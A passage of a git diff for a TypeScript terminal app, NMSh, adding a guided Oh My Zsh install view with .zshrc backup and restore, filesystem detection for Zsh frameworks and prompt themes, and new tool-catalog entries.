OH_MY_ZSH_INSTALL.filesAtRisk(view.env).slice(1)) { + const facts = fileFacts(side, hash); + if (facts.exists) lines.push(`${side} exists (${facts.bytes} bytes, ${facts.modified?.toISOString().slice(0, 16).replace('T', ' ')}).`); + } + view.verified = lines; +} + +export function openPrevious(env: NodeJS.ProcessEnv = process.env): OhMyZshView | undefined { + const pair = previousZshrc(env); + if (!pair) return undefined; + const current = fileFacts(pair.current, hash); + const previous = fileFacts(pair.previous, hash); + let diff: string[] = []; + try { + diff = shortDiff(current.exists ? readFileSync(pair.current, 'utf8') : undefined, readFileSync(pair.previous, 'utf8')); + } catch { diff = ['(not readable as text)']; } + return {kind: 'previous', env, current, previous, diff}; +} + +/** Back up the current .zshrc, then atomically replace it with the previous file. Refuses if either changed since review. */ +export function restorePrevious(view: Extract, now = new Date()): string { + const current = fileFacts(view.current.path, hash); + const previous = fileFacts(view.previous.path, hash); + if (current.sha256 !== view.current.sha256 || previous.sha256 !== view.previous.sha256) return 'A file changed since review; nothing was written. Reopen to review again.'; + if (current.symlink) return `${view.current.path} is a symlink; NMSh does not replace it. Nothing was written.`; + if (!previous.exists) return `${view.previous.path} is gone; nothing was written.`; + let backup = ''; + if (current.exists) { + backup = `${view.current.path}.nmsh-backup-${stamp(now)}-${randomUUID()}`; + copyFileSync(view.current.path, backup, constants.COPYFILE_EXCL); + } + const staged = join(dirname(view.current.path), `.zshrc.nmsh-${process.pid}.tmp`); + writeFileSync(staged, readFileSync(view.previous.path), {mode: 0o644, flag: 'wx'}); + renameSync(staged, view.current.path); + return `Restored ${view.previous.path} to ${view.current.path}.${backup ? ` The replaced file is backed up at ${backup}.` : ''} ${view.previous.path} was left in place. New Zsh sessions use it; NMSh did not merge anything.`; +} + +/** Returns 'back' when the view should close; 'open' with the two paths for the app to open. */ +export function ohMyZshKey(view: OhMyZshView, key: Key): 'back' | {open: string[]} | undefined { + if (view.kind === 'previous' && view.confirm) { + const decision = handleConfirmKey(key, view.confirm); + if (decision === 'confirm') { view.confirm = undefined; view.result = restorePrevious(view); } + else if (decision === 'cancel') { view.confirm = undefined; view.result = 'Cancelled. Nothing was changed.'; } + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') return 'back'; + if (key.kind !== 'text') return undefined; + const lower = key.value.toLowerCase(); + if (view.kind === 'guided') { + if (lower === 'b') view.snapshot = snapshotZshrc(view.env); + else if (lower === 'v') verifyInstall(view); + return undefined; + } + if (lower === 'k') return 'back'; + if (lower === 'e') return {open: [view.current.path, view.previous.path]}; + if (lower === 'r') { view.result = undefined; view.confirm = createConfirm(); } + return undefined; +} + +const facts = (label: string, file: FileFacts) => file.exists + ? [`${label} ${file.path}`, ` ${file.bytes} bytes · modified ${file.modified?.toISOString().slice(0, 16).replace('T', ' ')} · sha256 ${file.sha256?.slice(0, 16)}…${file.symlink ? ' · symlink' : ''}`] + : [`${label} ${file.path} (missing)`]; + +/** Plain rows (the panel adds color and framing). */ +export function renderOhMyZshView(view: OhMyZshView): {rows: string[]; footer: Array<[string, string]>} { + if (view.kind === 'guided') { + const adapter = OH_MY_ZSH_INSTALL; + const rows = ['Oh My Zsh needs its official installer. NMSh will not run it for you.', '', + 'With the settings below the installer:', ' ✓ keeps your current .zshrc (KEEP_ZSHRC=yes, --keep-zshrc)', ' ✓ does not change your login shell (CHSH=no)', + ' ✓ does not start another Zsh (RUNZSH=no, --unattended)', ' ✓ clones only the official repository (REPO/REMOTE/BRANCH pinned)', '', + `Source ${adapter.source}`, `Needs ${adapter.prerequisites.join(', ')}`, '', + 'Steps (run them yourself in a terminal; inspect the file before running it):', ...adapter.steps(view.env).map((step, index) => ` ${index + 1}. ${step}`), '', + ...adapter.recoveryHints.map(hint => `• ${hint}`), '']; + const snapshot = view.snapshot; + if (!snapshot) rows.push('B first: NMSh fingerprints and backs up .zshrc so it can verify afterwards.'); + else if (snapshot.error) rows.push(`Snapshot: ${snapshot.error}`); + else rows.push(snapshot.sha256 ? `Snapshot: ${snapshot.path} sha256 ${snapshot.sha256.slice(0, 16)}… · backup ${snapshot.backup}` : `Snapshot: ${snapshot.path} does not exist yet (recorded as absent).`); + if (view.verified) rows.push('', ...(view.unexpected ? ['! ' + view.verified[1]!] : []), ...view.verified.filter((_, index) => !(view.unexpected && index === 1))); + return {rows, footer: [['B', 'back up .zshrc'], ['V', 'verify after installing'], ['Esc', 'back']]}; + } + const rows = ['Previous zshrc found. This does not mean anything is wrong: the Oh My Zsh installer saves the old file there.', '', + ...facts('Current ', view.current), ...facts('Previous', view.previous), '', 'Changes (current → previous, first lines):', ...view.diff.map(line => ` ${line}`), '', + 'Shell code is not merged or sourced by NMSh. Edit by hand if you want parts of both.']; + if (view.confirm) { + rows.push('', `Restore previous: ${view.current.path} is backed up, then replaced by ${view.previous.path}. ${view.previous.path} stays.`, renderConfirm(view.confirm, {focused: true})); + return {rows, footer: [['←→', 'choose'], ['Enter', 'confirm'], ['Esc', 'cancel']]}; + } + if (view.result) rows.push('', view.result); + return {rows, footer: [['E', 'open both'], ['K', 'keep current'], ['R', 'restore previous…'], ['Esc', 'back']]}; +} diff --git a/src/tools/ToolsPanel.ts b/src/tools/ToolsPanel.ts index 6278c841..3cfb2c33 100644 --- a/src/tools/ToolsPanel.ts +++ b/src/tools/ToolsPanel.ts @@ -1,13 +1,17 @@ import type {Key} from '../terminal/keys.js'; -import {clearProviderDetection, detectProvider, type ProviderStatus, type ProviderInstall} from '../providers/providers.js'; +import {clearProviderDetection, type ProviderStatus, type ProviderInstall} from '../providers/providers.js'; import {TaskProgress, renderTaskProgress} from '../status/TaskProgress.js'; import {createConfirm, editText, handleConfirmKey, renderConfirm, type ConfirmState} from '../ui/formControls.js'; -import {renderTabStrip, framePanel} from '../ui/PanelShell.js'; +import {renderTabStrip, framePanel, onSelectedBand, selectedRowBand} from '../ui/PanelShell.js'; import {colorLevel} from '../presentation/capabilities.js'; import {foregroundOf} from '../chroma/chroma.js'; import {languageIdentity} from '../languages/linguistLanguageColors.js'; import {displayWidth, stripAnsi, truncateAnsi, truncateText} from '../util/text.js'; -import {TOOLS, TOOL_CATEGORIES, TOOL_TIER_LABELS, toolInstall, toolInstallUnavailable, type Tool, type ToolTier} from './catalog.js'; +import {detectTool, TOOLS, TOOL_CATEGORIES, TOOL_TIER_LABELS, toolInstall, toolInstallUnavailable, type Tool, type ToolTier} from './catalog.js'; +import type {PromptProviderId} from '../prompt/configuration.js'; +import type {ShellId} from '../shell/adapters/ShellAdapter.js'; +import {previousZshrc} from './frameworks.js'; +import {ohMyZshKey, openGuidedInstall, openPrevious, renderOhMyZshView, type OhMyZshView} from './OhMyZshView.js'; import {lifecycleNote, providerLifecycle} from '../providers/providers.js'; import {toolOwner, toolUpgrade, UNKNOWN_OWNER_UPDATE, type ToolUpdateState} from './ToolUpdates.js'; import {background, foreground, UI_COLORS} from '../ui/palette.js'; @@ -49,6 +53,14 @@ export interface ToolsPanel { selection?: Set; /** A combined plan under review; installs nothing until its own confirmation. */ bulk?: BulkReview; + /** Canonical prompt provider state (selected in settings vs. effective now); supplied by the app, never duplicated. */ + prompt?: {selected: PromptProviderId; effective: PromptProviderId}; + /** The session's current shell backend, for factual "Zsh only" labels. */ + shellBackend?: ShellId; + /** Oh My Zsh guided install or previous-zshrc comparison, over the detail view. */ + framework?: OhMyZshView; + /** Files the app should open (set with the 'openFiles' action). */ + openPaths?: string[]; } export interface BulkReview { items: Array<{tool: Tool; plan: PackagePlan}>; @@ -89,7 +101,7 @@ export async function refreshTools(state: ToolsPanel, changed: () => void): Prom // Bound probes rather than spawning the whole catalog simultaneously. for (let index = 0; index < TOOLS.length; index += 3) { await Promise.all(TOOLS.slice(index, index + 3).map(async tool => { - state.statuses[tool.id] = await detectProvider(tool); + state.statuses[tool.id] = await detectTool(tool); })); changed(); } @@ -116,7 +128,29 @@ export function visibleTools(state: ToolsPanel): Tool[] { || Number(state.statuses[a.id]?.state === 'installed') - Number(state.statuses[b.id]?.state === 'installed') || a.label.localeCompare(b.label)); } const relevantRank = (tool: Tool) => tool.tier === 'recommended' ? 0 : tool.tier === 'enhanced' ? 1 : 2; -export type ToolsAction = 'close' | 'configure' | 'provider' | 'refresh' | 'finishOnboarding' | 'mise' | 'checkUpdates'; +export type ToolsAction = 'close' | 'configure' | 'provider' | 'refresh' | 'finishOnboarding' | 'mise' | 'checkUpdates' + | 'usePrompt' | 'promptSettings' | 'p10kConfigure' | 'importAppearance' | 'openFiles'; + +/** The prompt-provider word for a tool, from the one canonical state. */ +export function promptRole(state: ToolsPanel, tool: Tool): string | undefined { + if (!tool.promptProvider || !state.prompt) return undefined; + if (state.prompt.effective === tool.promptProvider) return 'Active prompt provider'; + if (state.prompt.selected === tool.promptProvider) return 'Selected prompt provider · not active (NMSh Native in use)'; + return 'Prompt provider'; +} + +/** Factual one-line status: what it is, and scope when the backend differs. */ +export function toolStatusLine(state: ToolsPanel, tool: Tool): string { + const status = state.statuses[tool.id]; + const kind = tool.capabilities?.includes('shell framework') ? 'Zsh framework' : tool.promptProvider ? promptRole(state, tool) ?? 'Prompt provider' : undefined; + const zshOnly = tool.shells?.length === 1 && tool.shells[0] === 'zsh'; + if (!status) return 'Checking'; + if (status.state === 'installed') { + const scope = zshOnly && state.shellBackend && state.shellBackend !== 'zsh' ? 'used by Zsh only' : undefined; + return ['Installed', kind, scope].filter(Boolean).join(' · '); + } + return status.state === 'missing' ? ['Not installed', zshOnly ? 'Zsh only' : undefined].filter(Boolean).join(' · ') : 'Needs attention'; +} /** Whether an installed tool has an update according to the last check. */ export function toolHasUpdate(state: ToolsPanel, tool: Tool): boolean { @@ -139,6 +173,12 @@ export function toolsKey(state: ToolsPanel, key: Key): ToolsAction | undefined { return undefined; } if (state.confirm) return undefined; // Async install owner handles confirmation. + if (state.framework) { + const result = ohMyZshKey(state.framework, key); + if (result === 'back') state.framework = undefined; + else if (result) { state.openPaths = result.open; return 'openFiles'; } + return undefined; + } if (key.kind === 'escape' || key.kind === 'interrupt') { if (state.selection?.size && !state.detail) { state.selection.clear(); state.message = 'Selection cleared. Nothing was installed.'; } else if (state.detail) { state.detail = undefined; state.message = undefined; } @@ -147,12 +187,28 @@ export function toolsKey(state: ToolsPanel, key: Key): ToolsAction | undefined { } else if (state.detail) { if (key.kind !== 'text') return undefined; if (key.value.toLowerCase() === 'm' && state.detail.id === 'mise') return 'mise'; + const installed = state.statuses[state.detail.id]?.state === 'installed'; + const lower = key.value.toLowerCase(); + if (state.detail.promptProvider && installed && lower === 'a') return 'usePrompt'; + if (state.detail.promptProvider && lower === 's') return 'promptSettings'; + if (state.detail.id === 'powerlevel10k' && installed && lower === 'c') return 'p10kConfigure'; + if (state.detail.capabilities?.includes('Theme Studio import source') && installed && lower === 't') return 'importAppearance'; + if (state.detail.installAdapter && !installed && lower === 'i') { state.framework = openGuidedInstall(); return undefined; } + if (state.detail.id === 'oh-my-zsh' && lower === 'o') { + const view = openPrevious(); + if (view) state.framework = view; else state.message = 'No .zshrc.pre-oh-my-zsh was found.'; + return undefined; + } if (key.value.toLowerCase() === 'u' && toolHasUpdate(state, state.detail)) { const upgrade = toolUpgrade(state.detail, toolOwner(state.statuses[state.detail.id]?.binary), state.updates!); if (upgrade) { state.recipe = upgrade; state.upgrading = true; state.confirm = createConfirm(); } else state.message = `${UNKNOWN_OWNER_UPDATE} NMSh did not install ${state.detail.label} and does not guess its package manager.`; return undefined; } + if (state.detail.detection?.kind === 'filesystem' && (lower === 'x' || lower === 'i')) { + state.message = `NMSh does not install or remove ${state.detail.label}; it is detected only.`; + return undefined; + } if (key.value.toLowerCase() === 'x' && state.statuses[state.detail.id]?.state === 'installed') { const provenance = state.provenance ?? new InstallProvenance(); const plan = planToolUninstall(state.detail, provenance.find(state.detail.id), toolOwner(state.statuses[state.detail.id]?.binary)); @@ -219,7 +275,7 @@ export async function confirmToolInstall(state: ToolsPanel, key: Key, changed: ( if (run) await run(task, recipe); else await task.run(recipe.command, [...recipe.args]); clearProviderDetection(); - state.statuses[tool.id] = await detectProvider(tool); + state.statuses[tool.id] = await detectTool(tool); if (task.state.status === 'succeeded' && state.statuses[tool.id]?.state === 'installed') { delete state.errors[tool.id]; if (!upgrading) try { (state.provenance ?? new InstallProvenance()).record(tool, recipe); } catch { /* provenance is best effort */ } @@ -253,7 +309,7 @@ async function confirmBulk(state: ToolsPanel, key: Key, changed: () => void, continue; } clearProviderDetection(); - state.statuses[tool.id] = await detectProvider(tool); + state.statuses[tool.id] = await detectTool(tool); if (task.state.status === 'succeeded' && state.statuses[tool.id]?.state === 'installed') { delete state.errors[tool.id]; try { (state.provenance ?? new InstallProvenance()).record(tool, plan); } catch { /* provenance is best effort */ } @@ -280,7 +336,7 @@ async function runUninstall(state: ToolsPanel, changed: () => void, run?: (task: if (run) await run(task, recipe); else await task.run(recipe.command, [...recipe.args]); clearProviderDetection(); - state.statuses[tool.id] = await detectProvider(tool); + state.statuses[tool.id] = await detectTool(tool); if (task.state.status === 'succeeded') { try { (state.provenance ?? new InstallProvenance()).forget(tool.id); } catch { /* record cleanup is best effort */ } state.message = state.statuses[tool.id]?.state === 'missing' @@ -322,7 +378,10 @@ function statusBadge(state: ToolsPanel, tool: Tool): {text: string; color: strin export function toolBadges(state: ToolsPanel, tool: Tool): string[] { const lifecycle = providerLifecycle(tool); - return [...(tool.integration ? [`Integrated · ${tool.integration[0]!.toUpperCase()}${tool.integration.slice(1)}`] : []), + const role = promptRole(state, tool); + const zshOnly = tool.shells?.length === 1 && tool.shells[0] === 'zsh' && state.shellBackend !== undefined && state.shellBackend !== 'zsh'; + return [...(tool.capabilities?.includes('shell framework') ? ['Zsh framework'] : []), ...(role ? [role] : []), ...(zshOnly ? ['Zsh only'] : []), + ...(tool.integration ? [`Integrated · ${tool.integration[0]!.toUpperCase()}${tool.integration.slice(1)}`] : []), ...(tool.discoveryKind === 'environment' ? ['Detected environment'] : tool.tier ? [TOOL_TIER_LABELS[tool.tier]] : []), ...(providerLifecycle(tool) === 'legacy' ? [`${tool.successor ?? 'Maintained alternative'} recommended`] : []), ...(state.configured.has(tool.id) ? ['Configured in NMSh'] : []), @@ -336,14 +395,14 @@ function toolRow(state: ToolsPanel, tool: Tool, selected: boolean, columns: numb const badge = statusBadge(state, tool); const labelWidth = columns >= 60 ? 22 : Math.max(8, columns - 18); const label = truncateText(tool.label, labelWidth - 1).padEnd(labelWidth); - const pointer = selected ? `${ACCENT}${GLYPHS.selection}` : ' '; - const status = columns >= 34 ? `${badge.color}${badge.text.padEnd(18)}` : `${badge.color}${badge.text.slice(0, 1)} `; - const extra = columns >= 60 ? `${selected ? SECONDARY : SUBTLE}${toolBadges(state, tool).join(' · ')}` : ''; - const row = ` ${pointer} ${selected ? `${BOLD}${PRIMARY}` : SECONDARY}${label}${RESET}${selected ? SELECTED : ''}${status}${extra}`; - if (!selected) return truncateAnsi(`${row}${RESET}`, columns); - // Fill the whole row so the selection reads as a band, not just colored text. - const plain = truncateAnsi(row, columns); - return `${SELECTED}${plain}${SELECTED}${' '.repeat(Math.max(0, columns - displayWidth(plain)))}${RESET}`; + const statusText = columns >= 34 ? badge.text.padEnd(18) : `${badge.text.slice(0, 1)} `; + const badges = columns >= 60 ? toolBadges(state, tool).join(' · ') : ''; + if (!selected) return truncateAnsi(` ${SECONDARY}${label}${RESET}${badge.color}${statusText}${SUBTLE}${badges}${RESET}`, columns); + // The shared selected band (the active tab's treatment): pointer, bold label, and every quiet part lifted + // to the band's foreground; Installed and Needs attention keep their meaning colors. + const quiet = onSelectedBand(); + const statusColor = badge.color === SUBTLE ? quiet : badge.color; + return selectedRowBand(` ${ACCENT}${GLYPHS.selection}${RESET} ${BOLD}${label}${RESET}${statusColor}${statusText}${RESET}${quiet}${badges}`, columns); } const BOLD = '\u001b[1m'; @@ -399,6 +458,11 @@ export function renderTools(state: ToolsPanel, columns: number, height: number): } else if (state.task?.state.status === 'running') { rows.push(...renderTaskProgress(state.task.state)); footer = [['Please wait', 'installation in progress']]; + } else if (state.framework) { + const view = renderOhMyZshView(state.framework); + rows.push(` ${PRIMARY}${BOLD}${state.framework.kind === 'guided' ? 'Oh My Zsh · guided install' : 'Oh My Zsh · previous zshrc'}${RESET}`, '', + ...view.rows.map(row => row.startsWith('! ') ? ` ${FAILURE}${row}${RESET}` : ` ${SECONDARY}${row}${RESET}`)); + footer = view.footer; } else if (state.detail) { const tool = state.detail; const badge = statusBadge(state, tool); @@ -406,8 +470,14 @@ export function renderTools(state: ToolsPanel, columns: number, height: number): rows.push(` ${PRIMARY}${BOLD}${tool.label}${RESET} ${badge.color}${badge.text}${RESET}${toolBadges(state, tool).length ? ` ${SUBTLE}${toolBadges(state, tool).join(' · ')}${RESET}` : ''}`, ` ${SUBTLE}${tool.description}${RESET}`, '', field('Category', tool.category), field('Source', tool.source), - field('Install', state.statuses[tool.id]?.state === 'missing' - ? installPlanFor(state, tool)?.label ?? installUnavailableFor(state, tool) : tool.package ? `Package ${tool.package}` : 'Installed outside NMSh')); + field('Status', toolStatusLine(state, tool)), + ...(tool.capabilities?.length ? [field('Is', tool.capabilities.join(' · '))] : []), + ...(tool.detection?.kind === 'filesystem' && state.statuses[tool.id]?.detail ? [field('Found', state.statuses[tool.id]!.detail!)] : []), + field('Install', tool.installAdapter && state.statuses[tool.id]?.state === 'missing' ? 'Guided: NMSh keeps your .zshrc and never runs the installer itself (I)' + : state.statuses[tool.id]?.state === 'missing' + ? installPlanFor(state, tool)?.label ?? installUnavailableFor(state, tool) + : tool.package ? `Package ${tool.package}` : tool.detection?.kind === 'filesystem' ? 'Installed outside NMSh · not managed by NMSh' : 'Installed outside NMSh')); + if (tool.id === 'oh-my-zsh' && previousZshrc()) rows.push(field('Previous', 'Previous zshrc found (.zshrc.pre-oh-my-zsh) · O to compare')); const lifecycle = lifecycleNote(tool); if (lifecycle) rows.push(field('Lifecycle', lifecycle)); const outdated = tool.package ? state.updates?.outdated[tool.package] : undefined; @@ -423,12 +493,18 @@ export function renderTools(state: ToolsPanel, columns: number, height: number): if (activation) rows.push(field('Shell', `${ACTIVATION_LABELS[activation.state]} · ${activation.detail}`)); rows.push('', ` ${SUBTLE}${activation ? 'Shell state comes from the running session; rc files are never read.' : 'Shell hook state is not inferred; existing hooks stay authoritative.'}${RESET}`); footer = [ - ...(state.statuses[tool.id]?.state === 'missing' ? [['I', 'install…'] as [string, string]] : []), - ...(state.statuses[tool.id]?.state === 'installed' ? [['X', 'uninstall…'] as [string, string]] : []), + ...(state.statuses[tool.id]?.state === 'missing' && tool.detection?.kind !== 'filesystem' ? [['I', 'install…'] as [string, string]] : []), + ...(state.statuses[tool.id]?.state === 'installed' && tool.detection?.kind !== 'filesystem' ? [['X', 'uninstall…'] as [string, string]] : []), ...(toolHasUpdate(state, tool) ? [['U', 'update…'] as [string, string]] : []), ...(tool.id === 'mise' ? [['M', 'project awareness'] as [string, string]] : []), ...(tool.configuration && state.statuses[tool.id]?.state === 'installed' ? [['C', 'configure'] as [string, string]] : []), ...(tool.providerFamily ? [['P', 'provider'] as [string, string]] : []), + ...(tool.promptProvider && state.statuses[tool.id]?.state === 'installed' ? [['A', 'use as prompt'] as [string, string]] : []), + ...(tool.promptProvider ? [['S', 'prompt settings'] as [string, string]] : []), + ...(tool.id === 'powerlevel10k' && state.statuses[tool.id]?.state === 'installed' ? [['C', 'configure (p10k configure)'] as [string, string]] : []), + ...(tool.capabilities?.includes('Theme Studio import source') && state.statuses[tool.id]?.state === 'installed' ? [['T', 'import appearance into NMSh Native'] as [string, string]] : []), + ...(tool.installAdapter && state.statuses[tool.id]?.state === 'missing' ? [['I', 'guided install…'] as [string, string]] : []), + ...(tool.id === 'oh-my-zsh' && previousZshrc() ? [['O', 'previous zshrc'] as [string, string]] : []), ['R', 'refresh'], ['Esc', 'back']]; } else { const tierLabel = state.tier === 'enhanced' ? 'Recommended + Enhanced' : state.tier === 'recommended' || state.recommendedOnly ? 'Recommended only' : ''; diff --git a/src/tools/catalog.ts b/src/tools/catalog.ts index 0f34cfa3..dea29c68 100644 --- a/src/tools/catalog.ts +++ b/src/tools/catalog.ts @@ -1,7 +1,11 @@ -import {installUnavailableReason, providerInstall, resolveCommand, type ProviderDescriptor, type ProviderInstall, type ProviderFamily} from '../providers/providers.js'; +import {detectProvider, installUnavailableReason, providerInstall, resolveCommand, type ProviderDescriptor, type ProviderInstall, type ProviderFamily, type ProviderStatus} from '../providers/providers.js'; +import type {PromptProviderId} from '../prompt/configuration.js'; +import type {ShellId} from '../shell/adapters/ShellAdapter.js'; +import {detectBackend as detectKeepAwake} from '../keepAwake/keepAwake.js'; +import {detectAntidote, detectOhMyZsh, detectPowerlevel10kTool, detectPrezto, detectZim, detectZinit, type FilesystemFact} from './frameworks.js'; export const TOOL_CATEGORIES = ['Search & Files', 'Git & Development', 'Navigation & History', - 'Data / Structured Text', 'Environment & Secrets', 'Shell / Workflow', 'Containers / Infrastructure', 'Project / Language Tooling'] as const; + 'Data / Structured Text', 'Environment & Secrets', 'Shell / Workflow', 'Containers / Infrastructure', 'Project / Language Tooling', 'System capabilities'] as const; /** * Optional tiers. Recommended is a small, conservative toolkit; Enhanced is a * separate set some people like. Neither is "better for everyone", and NMSh @@ -11,6 +15,18 @@ export type ToolTier = 'recommended' | 'enhanced'; export const TOOL_TIER_LABELS: Record = {recommended: 'Recommended', enhanced: 'Enhanced'}; export type ToolDiscoveryKind = 'utility' | 'environment'; +/** + * How a curated tool is detected, registered explicitly. `executable` is a + * PATH lookup; `filesystem` is a registered structural detector for + * frameworks and themes that are not commands. Detection never grants + * install, uninstall, configuration or provider authority. + */ +export type ToolDetection = {kind: 'executable'} | {kind: 'filesystem'; detect: (env: NodeJS.ProcessEnv) => FilesystemFact | undefined}; + +/** What a tool is, stated explicitly (never inferred from being installed). A tool may have several. */ +export type ToolCapability = 'executable utility' | 'shell framework' | 'prompt engine' | 'Prompt provider' | 'configurable' + | 'special installer' | 'filesystem-detected' | 'dotfiles inspect-only' | 'Theme Studio import source' | 'executable config'; + export interface Tool extends ProviderDescriptor { category: typeof TOOL_CATEGORIES[number]; /** Kept for existing callers: true exactly for the Recommended tier. */ @@ -34,8 +50,18 @@ export interface Tool extends ProviderDescriptor { providerFamily?: ProviderFamily; /** Provider integration is distinct from the recommendation tier. */ integration?: 'welcome' | 'picker' | 'navigation' | 'history' | 'completion' | 'prompt'; - configuration?: 'starship'; + /** A registered Tool Configuration adapter (src/tools/config/registry.ts); only these get Configure. */ + configuration?: 'starship' | 'tmux'; language?: string; + /** Default: the executable on PATH. */ + detection?: ToolDetection; + capabilities?: readonly ToolCapability[]; + /** Shells the tool belongs to; absent means any. Shown factually, never hidden for another backend. */ + shells?: readonly ShellId[]; + /** The canonical Prompt provider this tool is (one identity with /providers and /prompt). */ + promptProvider?: Exclude; + /** A first-party guided installer adapter (src/tools/frameworks.ts) instead of a package recipe. */ + installAdapter?: 'oh-my-zsh'; } function tool(id: string, label: string, category: Tool['category'], description: string, @@ -46,6 +72,10 @@ function tool(id: string, label: string, category: Tool['category'], description } const ENHANCED = {tier: 'enhanced'} as const; const ENVIRONMENT = {discoveryKind: 'environment', commandNotFound: false} as const; +/** Not a command: no executable, no package recipe, never identified by command-not-found. */ +const filesystem = (detect: (env: NodeJS.ProcessEnv) => FilesystemFact | undefined) => + ({detection: {kind: 'filesystem', detect}, executable: undefined, package: '', versionArgs: undefined, commandNotFound: false} as const); +const ZSH_FRAMEWORK = {shells: ['zsh'], capabilities: ['shell framework', 'filesystem-detected', 'dotfiles inspect-only']} as const; /** Curated offline metadata. No third-party submissions, update checks or marketplace. */ export const TOOLS: readonly Tool[] = [ @@ -66,7 +96,22 @@ export const TOOLS: readonly Tool[] = [ tool('xh', 'xh', 'Data / Structured Text', 'Friendly and fast HTTP client.', 'https://github.com/ducaale/xh', {package: 'xh', ...ENHANCED}), tool('direnv', 'direnv', 'Environment & Secrets', 'Project environment tooling; approval/hooks remain yours.', 'https://direnv.net/', ENHANCED), tool('pass', 'pass', 'Environment & Secrets', 'Password tooling; NMSh does not read its secret store.', 'https://www.passwordstore.org/', {versionArgs: undefined}), - tool('starship', 'Starship', 'Shell / Workflow', 'Optional prompt with supported module configuration.', 'https://starship.rs/', {configuration: 'starship'}), + tool('starship', 'Starship', 'Shell / Workflow', 'Cross-shell prompt engine; an NMSh Prompt provider with supported module configuration.', 'https://starship.rs/', + {configuration: 'starship', promptProvider: 'starship', capabilities: ['executable utility', 'prompt engine', 'Prompt provider', 'configurable']}), + tool('oh-my-posh', 'Oh My Posh', 'Shell / Workflow', 'Cross-shell prompt engine; an NMSh Prompt provider rendered directly, with no shell rc change.', 'https://ohmyposh.dev/', + {versionArgs: ['version'], promptProvider: 'ohMyPosh', capabilities: ['executable utility', 'prompt engine', 'Prompt provider', 'Theme Studio import source', 'dotfiles inspect-only']}), + tool('powerlevel10k', 'Powerlevel10k', 'Shell / Workflow', 'Zsh prompt theme; an NMSh Prompt provider rendered in an isolated helper. Its config is Zsh code.', 'https://github.com/romkatv/powerlevel10k', + {...filesystem(detectPowerlevel10kTool), shells: ['zsh'], promptProvider: 'powerlevel10k', capabilities: ['prompt engine', 'Prompt provider', 'filesystem-detected', 'configurable', 'executable config']}), + tool('oh-my-zsh', 'Oh My Zsh', 'Shell / Workflow', 'Zsh framework (not a command). Guided install keeps your .zshrc; its themes and plugins are Zsh code, inspect only.', 'https://ohmyz.sh/', + {...filesystem(detectOhMyZsh), ...ZSH_FRAMEWORK, installAdapter: 'oh-my-zsh', capabilities: [...ZSH_FRAMEWORK.capabilities, 'special installer']}), + tool('prezto', 'Prezto', 'Shell / Workflow', 'Zsh framework, detected only. Inspect only; NMSh does not install or configure it.', 'https://github.com/sorin-ionescu/prezto', + {...filesystem(detectPrezto), ...ZSH_FRAMEWORK}), + tool('zim', 'Zim (zimfw)', 'Shell / Workflow', 'Zsh framework, detected only. Inspect only; NMSh does not install or configure it.', 'https://zimfw.sh/', + {...filesystem(detectZim), ...ZSH_FRAMEWORK}), + tool('zinit', 'zinit', 'Shell / Workflow', 'Zsh plugin manager, detected only. Inspect only; NMSh does not install or configure it.', 'https://github.com/zdharma-continuum/zinit', + {...filesystem(detectZinit), ...ZSH_FRAMEWORK}), + tool('antidote', 'Antidote', 'Shell / Workflow', 'Zsh plugin manager, detected only. Inspect only; NMSh does not install or configure it.', 'https://antidote.sh/', + {...filesystem(detectAntidote), ...ZSH_FRAMEWORK}), tool('shellcheck', 'ShellCheck', 'Shell / Workflow', 'Find common shell script mistakes.', 'https://github.com/koalaman/shellcheck', {package: 'shellcheck', ...ENHANCED, relevantTo: ['shell-scripts']}), tool('shfmt', 'shfmt', 'Shell / Workflow', 'Format shell scripts consistently.', 'https://github.com/mvdan/sh', {package: 'shfmt', ...ENHANCED, relevantTo: ['shell-scripts']}), tool('just', 'just', 'Shell / Workflow', 'A command runner for project-specific tasks.', 'https://github.com/casey/just', {package: 'just', ...ENHANCED, relevantTo: ['project', 'javascript', 'python', 'go', 'rust']}), @@ -87,7 +132,11 @@ export const TOOLS: readonly Tool[] = [ tool('stow', 'GNU Stow', 'Shell / Workflow', 'Explicitly managed dotfile symlinks.', 'https://www.gnu.org/software/stow/'), tool('tealdeer', 'TLDR (tealdeer)', 'Shell / Workflow', 'Practical local command examples (command tldr, package tealdeer). Optional; Ask uses its local cache and never updates it.', 'https://github.com/tealdeer-rs/tealdeer', {executable: 'tldr', package: 'tealdeer', recommended: true}), - tool('tmux', 'tmux', 'Shell / Workflow', 'Independent terminal multiplexer.', 'https://github.com/tmux/tmux', {versionArgs: ['-V']}), + tool('tmux', 'tmux', 'Shell / Workflow', 'Independent terminal multiplexer.', 'https://github.com/tmux/tmux', {versionArgs: ['-V'], configuration: 'tmux'}), + tool('keep-awake', process.platform === 'darwin' ? 'Apple caffeinate' : process.platform === 'win32' ? 'Windows execution-state API' : 'systemd inhibitor', 'System capabilities', + `${process.platform === 'darwin' ? 'Built into macOS' : process.platform === 'win32' ? 'Built into Windows' : 'System capability, detected'}; used by Keep Awake (/caffeinate, /awake, /zoomies). Nothing to install, upgrade or remove here.`, + process.platform === 'darwin' ? 'https://ss64.com/mac/caffeinate.html' : process.platform === 'win32' ? 'https://learn.microsoft.com/windows/win32/api/winbase/nf-winbase-setthreadexecutionstate' : 'https://www.freedesktop.org/software/systemd/man/latest/systemd-inhibit.html', + {...filesystem(() => { const backend = detectKeepAwake(); return backend ? {path: backend.label} : undefined; }), discoveryKind: 'environment'}), tool('docker', 'Docker CLI', 'Containers / Infrastructure', 'Container client; daemon availability is not inferred.', 'https://docs.docker.com/', {package: 'docker', ...ENVIRONMENT, relevantTo: ['containers']}), tool('kubectl', 'kubectl', 'Containers / Infrastructure', 'Kubernetes client; credentials/cluster are not inspected.', 'https://kubernetes.io/docs/reference/kubectl/', {versionArgs: undefined, package: 'kubernetes-cli', ...ENVIRONMENT, relevantTo: ['kubernetes']}), tool('mise', 'mise', 'Project / Language Tooling', 'Optional project tooling; metadata evaluation needs consent.', 'https://mise.jdx.dev/', {versionArgs: undefined, ...ENHANCED}), @@ -96,6 +145,15 @@ export const TOOLS: readonly Tool[] = [ tool('python3', 'Python', 'Project / Language Tooling', 'Python runtime.', 'https://www.python.org/', {language: 'Python', package: 'python', ...ENVIRONMENT, relevantTo: ['python']}), ]; +/** One detection entry point: the tool's registered strategy, never a guess. */ +export function detectTool(tool: Tool, env: NodeJS.ProcessEnv = process.env): Promise { + if (tool.detection?.kind === 'filesystem') { + const fact = tool.detection.detect(env); + return Promise.resolve(fact ? {state: 'installed', detail: fact.source ? `${fact.path} · ${fact.source}` : fact.path} : {state: 'missing'}); + } + return 